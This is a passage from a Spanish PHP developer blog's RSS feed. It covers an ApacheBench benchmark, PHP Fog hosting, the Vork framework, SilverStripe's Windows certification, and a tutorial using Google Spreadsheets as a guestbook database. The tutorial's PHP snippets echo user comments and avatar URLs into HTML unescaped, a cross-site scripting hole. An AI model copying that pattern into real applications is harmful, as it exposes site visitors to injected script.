<div><span style="color:#000080;"><span style="font-size:12px;"><span style="font-family:courier new,courier,monospace;">Complete requests: &nbsp; &nbsp; &nbsp;10000</span></span></span></div>
<div><span style="color:#000080;"><span style="font-size:12px;"><span style="font-family:courier new,courier,monospace;">Failed requests: &nbsp; &nbsp; &nbsp; &nbsp;0</span></span></span></div>
<div><span style="color:#000080;"><span style="font-size:12px;"><span style="font-family:courier new,courier,monospace;">Write errors: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 0</span></span></span></div>
<div><span style="color:#000080;"><span style="font-size:12px;"><span style="font-family:courier new,courier,monospace;">Total transferred: &nbsp; &nbsp; &nbsp;611319358 bytes</span></span></span></div>
<div><span style="color:#000080;"><span style="font-size:12px;"><span style="font-family:courier new,courier,monospace;">HTML transferred: &nbsp; &nbsp; &nbsp; 606948931 bytes</span></span></span></div>
<div><span style="color:#000080;"><span style="font-size:12px;"><span style="font-family:courier new,courier,monospace;"><span style="background-color:#ffff00;">Requests per second: &nbsp; &nbsp;2938.72 [#/sec] (mean)</span></span></span></span></div>
<div><span style="color:#000080;"><span style="font-size:12px;"><span style="font-family:courier new,courier,monospace;">Time per request: &nbsp; &nbsp; &nbsp; 34.028 [ms] (mean)</span></span></span></div>
<div><span style="color:#000080;"><span style="font-size:12px;"><span style="font-family:courier new,courier,monospace;">Time per request: &nbsp; &nbsp; &nbsp; 0.340 [ms] (mean, across all concurrent requests)</span></span></span></div>
<div><span style="color:#000080;"><span style="font-size:12px;"><span style="font-family:courier new,courier,monospace;">Transfer rate: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;175439.26 [Kbytes/sec] received</span></span></span></div>
<div>&nbsp;</div>
<div><span style="color:#000080;"><span style="font-size:12px;"><span style="font-family:courier new,courier,monospace;">Connection Times (ms)</span></span></span></div>
<div><span style="color:#000080;"><span style="font-size:12px;"><span style="font-family:courier new,courier,monospace;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; min &nbsp;mean[+/-sd] median &nbsp; max</span></span></span></div>
<div><span style="color:#000080;"><span style="font-size:12px;"><span style="font-family:courier new,courier,monospace;">Connect: &nbsp; &nbsp; &nbsp; &nbsp;0 &nbsp; 21 246.4 &nbsp; &nbsp; &nbsp;1 &nbsp; &nbsp;3000</span></span></span></div>
<div><span style="color:#000080;"><span style="font-size:12px;"><span style="font-family:courier new,courier,monospace;">Processing: &nbsp; &nbsp; 2 &nbsp; &nbsp;6 &nbsp;18.6 &nbsp; &nbsp; &nbsp;3 &nbsp; &nbsp; 398</span></span></span></div>
<div><span style="color:#000080;"><span style="font-size:12px;"><span style="font-family:courier new,courier,monospace;">Waiting: &nbsp; &nbsp; &nbsp; &nbsp;0 &nbsp; &nbsp;3 &nbsp;16.6 &nbsp; &nbsp; &nbsp;1 &nbsp; &nbsp; 397</span></span></span></div>
<div><span style="color:#000080;"><span style="font-size:12px;"><span style="font-family:courier new,courier,monospace;">Total: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;2 &nbsp; 27 248.2 &nbsp; &nbsp; &nbsp;4 &nbsp; &nbsp;3218</span></span></span></div>
<div>&nbsp;</div>
<div><span style="color:#000080;"><span style="font-size:12px;"><span style="font-family:courier new,courier,monospace;">Percentage of the requests served within a certain time (ms)</span></span></span></div>
<div><span style="color:#000080;"><span style="font-size:12px;"><span style="font-family:courier new,courier,monospace;">&nbsp; 50% &nbsp; &nbsp; &nbsp;4</span></span></span></div>
<div><span style="color:#000080;"><span style="font-size:12px;"><span style="font-family:courier new,courier,monospace;">&nbsp; 66% &nbsp; &nbsp; &nbsp;4</span></span></span></div>
<div><span style="color:#000080;"><span style="font-size:12px;"><span style="font-family:courier new,courier,monospace;">&nbsp; 75% &nbsp; &nbsp; &nbsp;5</span></span></span></div>
<div><span style="color:#000080;"><span style="font-size:12px;"><span style="font-family:courier new,courier,monospace;">&nbsp; 80% &nbsp; &nbsp; &nbsp;5</span></span></span></div>
<div><span style="color:#000080;"><span style="font-size:12px;"><span style="font-family:courier new,courier,monospace;">&nbsp; 90% &nbsp; &nbsp; &nbsp;6</span></span></span></div>
<div><span style="color:#000080;"><span style="font-size:12px;"><span style="font-family:courier new,courier,monospace;">&nbsp; 95% &nbsp; &nbsp; 21</span></span></span></div>
<div><span style="color:#000080;"><span style="font-size:12px;"><span style="font-family:courier new,courier,monospace;">&nbsp; 98% &nbsp; &nbsp; 33</span></span></span></div>
<div><span style="color:#000080;"><span style="font-size:12px;"><span style="font-family:courier new,courier,monospace;">&nbsp; 99% &nbsp; &nbsp;209</span></span></span></div>
<div><span style="color:#000080;"><span style="font-size:12px;"><span style="font-family:courier new,courier,monospace;">&nbsp;100% &nbsp; 3218 (longest request)</span></span></span></div>
<div>&nbsp;</div>
<div>PS: Un detalle que olvide mencionar es que a&uacute;n sigo usando el plugin W3 Total Cache. Y que he retirado todos los bookmarks sociales a excepci&oacute;n del bot&oacute;n &quot;Me gusta&quot; de Facebook de la p&aacute;gina de inicio del blog, eso redujo grandemente el tiempo de renderizado tambi&eacute;n.</div>
]]></content:encoded>
					
					<wfw:commentRss>https://volkanrivera.com/esp/2011/09/de-lamp-a-lemp/feed/</wfw:commentRss>
			<slash:comments>3</slash:comments>
		
		
			</item>
		<item>
		<title>PHP Fog ofrece 100 MB gratis para hostear tu aplicación en la nube</title>
		<link>https://volkanrivera.com/esp/2011/05/php-fog-ofrece-100-mb-gratis-para-hostear-tu-aplicacion-en-la-nube/</link>
					<comments>https://volkanrivera.com/esp/2011/05/php-fog-ofrece-100-mb-gratis-para-hostear-tu-aplicacion-en-la-nube/#respond</comments>
		
		<dc:creator><![CDATA[volkan68]]></dc:creator>
		<pubDate>Wed, 11 May 2011 12:47:30 +0000</pubDate>
				<category><![CDATA[Internet]]></category>
		<category><![CDATA[PHP]]></category>
		<guid isPermaLink="false">http://www.volkanrivera.com/esp/?p=2962</guid>

					<description><![CDATA[El d&#237;a de ayer fue lanzado oficialmente a todo el p&#250;blico PHP Fog un PaaS (Platform as a Service) que ofrece la posibilidad de correr aplicaciones PHP en la nube, es un servicio similar Heroku que ofrece correr aplicaciones Ruby en la nube. Uno de los atractivos de PHP Fog es que permite comenzar gratuitamente, [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>El d&iacute;a de ayer fue lanzado oficialmente a todo el p&uacute;blico <a href="https://www.phpfog.com/" target="_blank">PHP Fog</a> un PaaS (<a href="http://es.wikipedia.org/wiki/Plataforma_como_servicio#Plataforma_como_servicio" target="_blank">Platform as a Service</a>) que ofrece la posibilidad de correr aplicaciones PHP en la nube, es un servicio similar <a href="http://www.heroku.com/" target="_blank">Heroku</a> que ofrece correr aplicaciones Ruby en la nube. Uno de los atractivos de <strong>PHP Fog</strong> es que permite comenzar gratuitamente, ofreciendo 100 MB de espacio de hosting, 20 MB de espacio para la DB y 15GB de tr&aacute;fico, que para cualquier aplicaci&oacute;n peque&ntilde;a es m&aacute;s que suficiente, todo esto por un per&iacute;odo de prueba de 6 meses. Hay servicios pagos en caso de que se desee escalar la aplicaci&oacute;n desde $29/mensuales hasta $249/mensuales, m&aacute;s detalles en la secci&oacute;n de precios de <strong>PHP Fog</strong>.</p>
<p>Uno de los atractivos de <strong>PHP Fog</strong> es que permite correr populares aplicaciones PHP como WordPress, Drupal, Joomla o SugarCRM, as&iacute; como tambi&eacute;n se puede elegir entre diversos framworks si deseamos construit algo por nuestra cuenta, estos por ahora son CakePHP, Shopify API, Zend Framwork y CodeIgniter, finalmente si deseamos s&oacute;lo hostear c&oacute;digo PHP existe la opci&oacute;n Custom App.</p>
<p>Actualmente el servicio cuenta con alrededor de&nbsp; 20,000 usuarios y parece bastante r&aacute;pido al menos a nivel de control panel. He intentado crear una app con dominio propio y ellos requieren delegar los DNS a sus servidores DNS: ns1.phpfog.com, ns2.phpfog.com, ns3.phpfog.com; Sin embargo me he dado cuenta de que incluso luego de que el control panel dice que la aplicaci&oacute;n esta activada, debido a que sus DNS no se refrescan frecuentemente no se puede acceder a la aplicaci&oacute;n durante las primeras 2 horas.</p>
<p>La forma como se publican las aplicaciones es a trav&eacute;s de la herramienta de control de versiones git, es decir se desarrolla localmente en su PC, luego usted &quot;publica&quot; sus cambios en el repositorio, esta aproximaci&oacute;n es muy buena ya que permite a m&aacute;s de un desarrollador trabajar en una misma aplicaci&oacute;n sin da&ntilde;ar el trabajo de otro. Para los que deseen un breve tutorial con un resumen de los comandos b&aacute;sicos para usar este software de control de versiones pueden visitar la documentaci&oacute;n oficial en <a href="http://www.kernel.org/pub/software/scm/git/docs/v1.2.6/tutorial.html" target="_blank">kernel.org</a>.</p>
<p><strong><u>UPDATE</u>:</strong> PHPFog ha mejorado la forma de redireccionar dominios propios y lo ha documentado muy bien <a href="http://docs.phpfog.com/index.php/features/article/setup_dns_records" target="_blank">aqu&iacute;</a>. He levantado una aplicaci&oacute;n de prueba que usa el dominio <a href="http://www.phpfog.cix.pe/" target="_blank">phpfog.cix.pe</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://volkanrivera.com/esp/2011/05/php-fog-ofrece-100-mb-gratis-para-hostear-tu-aplicacion-en-la-nube/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Vork un framework PHP de alta perfomance</title>
		<link>https://volkanrivera.com/esp/2010/11/vork-un-framework-php-de-alta-perfomance/</link>
					<comments>https://volkanrivera.com/esp/2010/11/vork-un-framework-php-de-alta-perfomance/#comments</comments>
		
		<dc:creator><![CDATA[volkan68]]></dc:creator>
		<pubDate>Sat, 27 Nov 2010 01:47:18 +0000</pubDate>
				<category><![CDATA[Internet]]></category>
		<category><![CDATA[OpenSource]]></category>
		<category><![CDATA[PHP]]></category>
		<guid isPermaLink="false">http://www.volkanrivera.com/esp/?p=2321</guid>

					<description><![CDATA[Luego de instalar Diaspora y dedicarle un buen tiempo a analizar sus caracter&#237;sticas y como hab&#237;a sido programado, una de las cosas que no me gust&#243; es que estuviera desarrollado en Ruby On Rails, no me tomen a mal, RoR puede ser genial y permitir un desarrollo r&#225;pido pero Ruby no es uno de los [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Luego de instalar <a href="https://joindiaspora.com/" target="_blank">Diaspora</a> y dedicarle un buen tiempo a analizar sus caracter&iacute;sticas y como hab&iacute;a sido programado, una de las cosas que no me gust&oacute; es que estuviera desarrollado en <a href="http://es.wikipedia.org/wiki/Ruby_on_Rails" target="_blank">Ruby On Rails</a>, no me tomen a mal, RoR puede ser genial y permitir un desarrollo r&aacute;pido pero Ruby no es uno de los lenguajes m&aacute;s populares acutalmente y hay que recordar que uno de los principales problemas de la escalabilidad de Twitter puede tener su explicaci&oacute;n en el uso de RoR.</p>
<p>Por otro lado una de las caracter&iacute;sticas que me parecieron interesantes del proyecto fue que utilizara <a target="_blank" href="http://en.wikipedia.org/wiki/MongoDB">MongoDB</a>, un sistema de base de datos <a target="_blank" href="http://en.wikipedia.org/wiki/NoSQL">noSQL</a> que tiene muchas de las caracter&iacute;sticas que los sistemas <a href="http://es.wikipedia.org/wiki/Sistema_administrador_de_bases_de_datos_relacionales" target="_blank">RDBMS</a>. Como sabr&aacute;n los que siguen este blog regularmente el framework PHP que yo creo m&aacute;s caracter&iacute;sticas ofrece y que trato de promover es <a href="http://codeigniter.com/" target="_blank">CodeIgniter</a>, tanto por su sencillez y rapidez. Por lo tanto me puse a buscar una librer&iacute;a que a&ntilde;adiera el manejo de MongoDB a este framework y la encontr&eacute; en un proyecto hospedado en bitbucket llamado <a href="http://bitbucket.org/alexbilbie/codeigniter-mongo-library/wiki/Home" target="_blank">CodeIgniter Mongo Library</a>. A&uacute;n es un trabajo en desarrollo y su autor Alex Biblie reconoce que a&uacute;n hay varias cosas que mejorar.</p>
<p>Hasta aqu&iacute; me parec&iacute;a todo claro, usar CodeIgniter con esta librer&iacute;a para proveer una alternativa en Diaspora en PHP, pero hay un detalle necesario en el proceso de desarrollo que es la posibilidad de administrar, es decir crear/modificar/borrar tablas y registros de la base de datos de forma sencilla, buscaba algo parecido al PHPMyAdmin, es as&iacute; como encontr&eacute; <a href="http://www.phpmoadmin.com/" target="_blank">PHPMoAdmin</a>.</p>
<p>PHPMoAdmin, permite administrar una base de datos MongoDB de forma tan sencilla lo interesante de este proyecto es que dice que esta basado en un framwork PHP de alta-perfomance llamado <a target="_blank" href="http://www.vork.us">Vork</a>, nunca lo hab&iacute;a escuchado y despert&oacute; mi curiosidad averiguar que ten&iacute;a para ofrecer este framework PHP.</p>
<p>Lo primero que descubr&iacute; de Vork es que es un framwork que sigue la filosof&iacute;a VMC, que est&aacute; basado en PHP 5.0 o superiores, que soporta en su versi&oacute;n m&aacute;s basica como base de datos a MySQL, MongoDB y <a href="http://aws.amazon.com/rds/" target="_blank">Amazon RDS</a>, aunque puede trabajar a&ntilde;adiendo las librerias apropiadas con cualquier DB. Permite adem&aacute;s importar m&oacute;dulos de otros framworks PHP como CodeIgniter, CakePHP o Zend. Adem&aacute;s de entre sus muchas extensiones disponibles estan las que permiten integraci&oacute;n con Google Maps, Charts, Analytics, Sitemap, Checkout y Translation, algo que es muy dif&iacute;cil de encontrar en los frameworks PHP.</p>
<p>Leer estas caracter&iacute;sticas fabulosas me animaron a probarlo y debo decir que estoy gratamente sorprendido, es r&aacute;pido como afirman en su documentaci&oacute;n y adem&aacute;s es tan sencillo de usar como CodeIgniter, es m&aacute;s podr&iacute;amos decir que es un CodeIgniter mejorado. Aclaro que no lo he podido usar extensamente pero por lo pronto puedo decir que estoy gratamente sorprendido por este framework y planeo usarlo en mis futuros proyectos, ya les dar&eacute; m&aacute;s detalles conforme vaya familiarizandome con el mismo.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://volkanrivera.com/esp/2010/11/vork-un-framework-php-de-alta-perfomance/feed/</wfw:commentRss>
			<slash:comments>3</slash:comments>
		
		
			</item>
		<item>
		<title>Microsoft certifica aplicación Open Source desarrollada en PHP</title>
		<link>https://volkanrivera.com/esp/2010/11/microsoft-certifica-aplicacion-open-source-desarrollada-en-php/</link>
					<comments>https://volkanrivera.com/esp/2010/11/microsoft-certifica-aplicacion-open-source-desarrollada-en-php/#comments</comments>
		
		<dc:creator><![CDATA[volkan68]]></dc:creator>
		<pubDate>Wed, 17 Nov 2010 13:32:14 +0000</pubDate>
				<category><![CDATA[Actualidad]]></category>
		<category><![CDATA[Internet]]></category>
		<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[OpenSource]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Windows]]></category>
		<guid isPermaLink="false">http://www.volkanrivera.com/esp/?p=2206</guid>

					<description><![CDATA[En un mundo que tiende a la convergencia y donde la lucha por los clientes est&#225; forzando a todas las empresas a cambiar r&#225;pidamente su modelo de negocio, Microsoft no pod&#237;a permanecer como una isla, si es que no quiere desaparecer. El d&#237;a de ayer en el blog Port 25, que es el medio oficial [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>En un mundo que tiende a la convergencia y donde la lucha por los clientes est&aacute; forzando a todas las empresas a cambiar r&aacute;pidamente su modelo de negocio, Microsoft no pod&iacute;a permanecer como una isla, si es que no quiere desaparecer. El d&iacute;a de ayer en el blog <a target="_blank" href="http://port25.technet.com/archive/2010/11/16/silverstripe-achieves-windows-server-2008-r2-certification.aspx">Port 25</a>, que es el medio oficial que utiliza Microsoft para comunicar sus avances en lo referente a <a href="http://es.wikipedia.org/wiki/Open_Source" target="_blank">Open Source</a>, apareci&oacute; el anuncio de que el proyecto <a target="_blank" href="http://silverstripe.com/?v=b">SilverStripe CMS</a>, que es un <a href="http://es.wikipedia.org/wiki/Sistema_de_gesti%C3%B3n_de_contenidos" target="_blank">sistema de gesti&oacute;n de contenidos</a> web, hab&iacute;a alcanzado oficialmente el status de &quot;<a target="_blank" href="http://www.microsoft.com/windowsserver2008/en/us/ws08-r2-cf.aspx">Certified for Windows Server 2008 R2</a>&quot;. Hoy d&iacute;a Sigurd Magnusson, confundador de Silver Stripe Project, ha escrito sobre el hecho en el blog del proyecto bajo el t&iacute;tulo &quot;<a href="http://silverstripe.org/silverstripe-cms-the-first-ever-open-source-web-app-to-become-microsoft-certified/" target="_blank">SilverStripe la primera aplicaci&oacute;n web Open Source que llega a ser Microsoft Certified</a>&quot;, lo cual es un punto fuerte para promover SilverStripe a nivel corporativo.</p>
<p>Esto es interesante ya que demuestra que por un lado <a target="_blank" href="http://es.wikipedia.org/wiki/PHP">PHP</a> ha evolucionado hasta alcanzar un nivel &quot;empresarial&quot;, que hace apenas unos 3 a&ntilde;os no gozaba, adem&aacute;s prueba de que efectivamente no hay una contradicci&oacute;n entre un modelo de desarrollo Open Source (ojo no confundir con <a target="_blank" href="http://es.wikipedia.org/wiki/Free_Software">Free Software</a> que es m&aacute;s restrictivo) y hacer dinero con un proyecto de esta naturaleza. Decir que no se pod&iacute;a desarrollar un modelo de desarrollo comercial de software basado en herramientas Open Source fue uno de los puntos &quot;fuertes&quot; de la estrategia de Microsoft para tratar de frenar la gran migraci&oacute;n de desarrolladores que ha ocurrido en favor de alternativas libres como PHP, Python o Ruby; como ha quedado plenamente demostrado por la propia Microsoft tal contradicci&oacute;n nunca ha existido.</p>
<p>Ayer tambi&eacute;n Apple termin&oacute; por aprobar una aplicaci&oacute;n que implementa el servicio de VoIP <a href="http://en.wikipedia.org/wiki/Google_Voice" target="_blank">Google Voice</a>, luego de 16 meses de espera este servicio gratuito de Google est&aacute; por fin disponible en iTunes, seg&uacute;n me enter&eacute; por <a href="http://techcrunch.com/2010/11/16/google-voice-for-the-iphone/" target="_blank">TechCrunch</a>. La conclusi&oacute;n que puedo sacar de todo esto es que estamos ante una nueva era de integraci&oacute;n y aquellos que eligen el camino de cerrar sus plataformas sencillamente tienen sus d&iacute;as contados. Por otro lado espero que pronto Google atendiendo el clamor popular de los desarrolladores termine por incluir PHP como uno de los leguajes soportados en <a href="http://es.wikipedia.org/wiki/App_Engine" target="_blank">Google App Engine</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://volkanrivera.com/esp/2010/11/microsoft-certifica-aplicacion-open-source-desarrollada-en-php/feed/</wfw:commentRss>
			<slash:comments>1</slash:comments>
		
		
			</item>
		<item>
		<title>Usando Google Spreadsheet como base de datos</title>
		<link>https://volkanrivera.com/esp/2010/02/usando-google-spreadsheet-como-base-de-datos/</link>
					<comments>https://volkanrivera.com/esp/2010/02/usando-google-spreadsheet-como-base-de-datos/#comments</comments>
		
		<dc:creator><![CDATA[volkan68]]></dc:creator>
		<pubDate>Tue, 23 Feb 2010 17:04:46 +0000</pubDate>
				<category><![CDATA[Facebook]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[Ingeniería]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[web mushup]]></category>
		<guid isPermaLink="false">http://www.volkanrivera.com/esp/?p=1016</guid>

					<description><![CDATA[Google ofrece un API para poder manipular directamente el contenido de sus hojas de c&#225;lculo en Google Docs, si reparamos en los detalles y la posibilidad de que pueden ser grabas, actualizadas, borradas y recuperadas filas espec&#237;ficas de una hoja de c&#225;lculo en particular, pues resulta evidente de que ser&#237;a posible utilizar dicho API para [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>
	Google ofrece un <a href="http://code.google.com/apis/spreadsheets/data/3.0/developers_guide.html" target="_blank">API</a> para poder manipular directamente el contenido de sus hojas de c&aacute;lculo en <a href="http://en.wikipedia.org/wiki/Google_Docs" target="_blank">Google Docs</a>, si reparamos en los detalles y la posibilidad de que pueden ser grabas, actualizadas, borradas y recuperadas filas espec&iacute;ficas de una hoja de c&aacute;lculo en particular, pues resulta evidente de que ser&iacute;a posible utilizar dicho API para usar las hojas de c&aacute;lculo de Google Docs como un sencillo motor de base de datos.
</p>
<p>
	Buscando encontr&eacute; en el blog &quot;<a href="http://farinspace.com/2009/05/saving-form-data-to-google-spreadsheets/" target="_blank">farinspace web</a>&quot; una librer&iacute;a de PHP que permite manipular f&aacute;cilmente hojas de c&aacute;lculo de Google Docs, el nombre es <a href="http://farinspace.com/wp-content/uploads/google_spreadsheet.zip" target="_blank">Google_Spreadsheet</a>, aunque no es muy imaginativo refleja claramente su finalidad. Luego se me ocurri&oacute; usarlo para una aplicaci&oacute;n de ejemplo el cl&aacute;sico <a href="http://en.wikipedia.org/wiki/Guestbook" target="_blank">guessbook</a>, pero eso requerir&iacute;a la administraci&oacute;n de login y perfiles, entonces se me ocurri&oacute; mezclarlo (hacer un <a href="http://es.wikipedia.org/wiki/Mashup_%28aplicaci%C3%B3n_web_h%C3%ADbrida%29" target="_blank">mushup</a>) con Facebook Connect. De esa forma la administraci&oacute;n de la identidad se hace con el <a href="http://developers.facebook.com/connect.php" target="_blank">Facebook Connect</a> y el registro de los comentarios se har&iacute;a usando Google SpreadSheet. En pocas palabras lo &uacute;nico que se tiene localmente es el programa, todo los datos estar&iacute;an en la red.
</p>
<p>
	He preparado un peque&ntilde;o server virtual con el ejemplo, que puede ser accedido en este <a href="http://xhp.volkanrivera.com/" target="_blank">URL</a>. El c&oacute;digo listo para desempaquetar y usar puede ser descargado desde este otro <a href="http://www.volkanrivera.com/Gacebook.tar.gz" target="_blank">URL</a>. Lo &uacute;nico que necesita hacer para probarlo es decargarlo en un server con soporte de PHP 5.2 o superior, tener una cuenta en Google Docs y registrar su aplicaci&oacute;n en Facebook (m&aacute;s detalles sobre como registrar una aplicaci&oacute;n en Facebook pueden ser contradas <a href="http://usefulplus.com/index.php/2009/07/register-your-first-application-in-facebook/" target="_blank">aqu&iacute;</a>). Con las credenciales del caso debe editar el archivo &quot;config.php&quot; de la siguiente manera:
</p>
<p>
	<font face="Courier New"><font color="#000080">&lt;?</font></font>
</p>
<p>
	<font face="Courier New">&nbsp; <font color="#000080" size="2">$api_key&nbsp; = &quot;abcdefghijklmnopqrstuv0987654321&quot;;</font> &lt;- <font face="Tahoma">API Key de Facebook</font><br />
	&nbsp; <font color="#000080" size="2">$secret&nbsp;&nbsp; = &quot;1234567890abcdefghijklmnopqrstuv&quot;;</font> &lt;- <font face="Tahoma">Secret word de FB</font><br />
	&nbsp; <font color="#000080" size="2">$username = &quot;user@gmail.com&quot;;</font>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp; &lt;- <font face="Tahoma">Usuario Google Docs</font><br />
	&nbsp; <font color="#000080" size="2">$password = &quot;123456&quot;;</font>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &lt;- <font face="Tahoma">Password usuario Google Docs</font></font>
</p>
<p>
	<font face="Courier New"><font color="#000080">?&gt;</font></font>
</p>
<p>
	Con esos sencillos cambios deber&iacute;a de funcionar el script que pongo a disposici&oacute;n. Ojo esto es una prueba de concepto, no est&aacute; cuidada la est&eacute;tica, y todo el c&oacute;digo son dos scripts PHP monol&iacute;ticos. Es decir este script tiene prop&oacute;sito educativo y no recomiendo su uso en entornos de producci&oacute;n.
</p>
<p>
	Los detalles sobre Facebook Connect pueden ser revisados en la <a href="https://developers.facebook.com/docs/" target="_blank">wiki de Facebook</a>, por simplicidad en este post me limitar&eacute; a enfocarme en el uso de la librer&iacute;a Google Spreadsheet, en caso de que alguien est&eacute; interesado en un tutorial detallado sobre Facebook Connect, pues haganmelo saber en los comentarios, si veo que hay suficiente inter&eacute;s dedicar&eacute; un tiempo a escribir uno.
</p>
<p>
	A revisar entonces el c&oacute;digo de &quot;index.php&quot; que nos permite leer datos desde una hoja de c&aacute;lculo de Google Docs.
</p>
<p>
	En esta parte inicializamos el objeto $ss (spreadsheet), e indicamos que deseamos usar la hoja de c&aacute;lculo &quot;comentarios&quot; y la p&aacute;gina &quot;Sheet1&quot;, es importante tener presente que los nombres son case-sensitive:
</p>
<p>
	<font face="Courier New">(&#8230;)<br />
	<font color="#000080">&nbsp;&nbsp;&nbsp; $ss = new Google_Spreadsheet($username,$password);<br />
	&nbsp;&nbsp;&nbsp; $ss-&gt;useSpreadsheet(&quot;comentarios&quot;);<br />
	&nbsp;&nbsp;&nbsp; $ss-&gt;useWorksheet(&quot;Sheet1&quot;);</font></font><br />
	<font face="Courier New">(&#8230;)</font>
</p>
<p>
	En esta parte asignamos a la variable $rows, todas las filas que tengan un campo &quot;id&quot; mayor que cero, dado que usaremos la funci&oacute;n time() para general el campo &quot;id&quot;, este es un n&uacute;mero entero mayor que cero siempre. Luego con la funci&oacute;n sizeof() obtenemos el n&uacute;mero de filas que han sido le&iacute;das y usaremos la variable $start para acceder a ellos desde el &uacute;ltimo insertado:
</p>
<p>
	<font face="Courier New">(&#8230;)</font><br />
	<font face="Courier New"><font color="#000080">&nbsp;&nbsp;&nbsp; $rows = $ss-&gt;getRows(&quot;id&gt;0&quot;);<br />
	&nbsp;&nbsp;&nbsp; $size = sizeof($rows);<br />
	&nbsp;&nbsp;&nbsp; $start = $size &#8211; 1;<br />
	&nbsp;&nbsp;&nbsp; $count = 0;</font></font><br />
	<font face="Courier New">(&#8230;)</font>
</p>
<p>
	Usamos el bucle while() para leer los diez &uacute;ltimos elementos del array que la funci&oacute;n getRows() nos provee y los representamos a trav&eacute;s de una tabla:
</p>
<p>
	<font face="Courier New">(&#8230;)</font><br />
	<font face="Courier New"><font color="#000080">&nbsp;&nbsp;&nbsp; echo &#39;&lt;hr&gt;Diez &amp;uacute;ltimos comentarios:&lt;br /&gt;&lt;br /&gt;&#39;;<br />
	&nbsp;&nbsp;&nbsp; echo &#39;&lt;table&gt;&#39;;<br />
	&nbsp;&nbsp;&nbsp; while(($start&gt;=0) &amp;&amp; ($count&lt;10)) {<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $row = $rows[$start];<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $nombre = $row[&#8216;nombre&#8217;];<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $apellido = $row[&#8216;apellido&#8217;];<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $avatar = $row[&#8216;avatar&#8217;];<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $comment = $row[&#8216;comment&#8217;];<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; echo &#39;&lt;tr&gt;&lt;td valign=&quot;top&quot;&gt;&#39; . &#39;&lt;img src=&quot;&#39; . $avatar . &#39;&quot;&gt;&lt;br /&gt;&#39; . $nombre . &#39;&lt;br /&gt;&#39; . $apellido . &#39;&lt;br /&gt;&lt;/td&gt;&#39;;<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; echo &#39;&lt;td valign=&quot;top&quot; width=&quot;300&quot;&gt;&#39; . $comment . &#39;&lt;/td&gt;&lt;/tr&gt;&#39;;<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8211;$start;<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ++$count;<br />
	&nbsp;&nbsp;&nbsp; }<br />
	&nbsp;&nbsp;&nbsp; echo &#39;&lt;/table&gt;&#39;;</font><br />
	(&#8230;)</font>
</p>
<p>
	Como veran el algoritomo es bastante sencillo y s&oacute;lo nos muestra los &uacute;ltimos 10 comentarios dejados en el guessbook. Ahora si queremos dejar comentarios debemos estar logueados, para ello se debe disponer de una cuenta v&aacute;lida en Facebook.
</p>
<p>
	El script que agrega una fila a la hoja de c&aacute;lculo de Facebook se llama &quot;addrow.php&quot; y para asegurarnos de que no puede ser usado directamente por alguien, lo primero que hace dicho script es ver si el usuario est&aacute; logueado en Facebook, de estarlo lee los siguientes datos de su perfil: $nombre, $apellido, $avatar (la foto). Si no est&aacute; logueado es redirigido a &quot;index.php&quot;.
</p>
<p>
	Finalmente si el usuario esta logueado y ha enviado un comentario, entonces el siguiente c&oacute;digo se ejecuta:
</p>
<p>
	<font face="Courier New">(&#8230;)<br />
	<font color="#000080">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $ss = new Google_Spreadsheet($username,$password);<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $ss-&gt;useSpreadsheet(&quot;comentarios&quot;);<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $row = array (<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;id&quot; =&gt; time(),<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;nombre&quot; =&gt; $nombre,<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;apellido&quot; =&gt; $apellido,<br />
